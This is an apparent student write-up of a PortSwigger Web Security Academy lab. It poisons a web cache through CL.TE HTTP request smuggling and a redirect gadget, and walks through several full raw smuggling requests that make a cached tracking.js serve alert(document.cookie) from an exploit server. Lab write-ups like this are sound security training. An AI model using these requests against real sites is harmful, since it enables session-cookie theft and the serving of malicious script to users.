| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.TE, Web Cache Poisoning |
| Difficulty | Practitioner |
| Objective | Poison the cache so a victim requesting a JavaScript file gets served alert(document.cookie) from the exploit server |
Exploiting HTTP Request Smuggling to Poison the Web Cache¶
Loading the web application and checking Burp's HTTP history reveals the page loading a JavaScript file:
GET /resources/labheader/js/labHeader.js
Checking its response headers:
Cache-Control: max-age=30
The response is cached for 30 seconds. If we can poison the cache entry for a JavaScript file the victim's browser fetches automatically, anyone who loads that page within that window gets our malicious response instead. The exploit server body is set to alert(document.cookie) under the matching path.
Intercepting a root request, switching to POST and HTTP/1.1:
CL.TE setup. Testing a basic smuggled GET /miku:
POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked
0
GET /miku HTTP/1.1
Teto: teto
404 Not Found — desync confirmed.
First attempt: pointing the smuggled request at /resources with our exploit server as the Host. Rejected with Duplicate header names are not allowed.
Adding a full body with its own Content-Length to separate the request properly:
POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 108
Transfer-Encoding: chunked
0
GET /resources HTTP/1.1
Host: exploit-0a290059033ce00d8082166c01bb00de.exploit-server.net
Content-Length: 20
teto=teto
Still rejected — the server isn't accepting our exploit server as a valid host for that path. We need a redirect gadget instead.
Looking at the post navigation in the app:
Intercepting the "next post" link:
HTTP/2 302 Found
Location: https://0a01001703cde0b280a1172c00dd0034.web-security-academy.net/post?postId=7
/post/next?postId=6 issues a 302 and the Location header reflects the Host. If we put our exploit server as Host in the smuggled request, the redirect points to our server. We update the exploit server file path to /post to match:
POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 137
Transfer-Encoding: chunked
0
GET /post/next?postId=6 HTTP/1.1
Host: exploit-0a290059033ce00d8082166c01bb00de.exploit-server.net
Content-Length: 20
teto=teto
The normal request following the smuggled one gets the redirect — then the 200 from our exploit server:
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
alert(document.cookie);
Alert fires but the lab doesn't solve.
The problem: we poisoned a cache entry the victim simulator doesn't automatically request. The victim's browser loads tracking.js on every page visit — that's the analytics script the simulator targets. Updating the smuggled GET to /resources/js/tracking.js and repeating the attack:
This will get the alert fired, and get the lab solved o.o
Dead Ends & Rabbit Holes¶
- Pointing the smuggled
Hostat the exploit server for/resourcesdirectly — rejected with "Duplicate header names are not allowed." Needs a full request structure with its ownContent-Length, and even then the server rejects the host. - Poisoning
labHeader.js— the alert fires locally but the victim simulator requeststracking.js, not the header script, so the lab doesn't solve.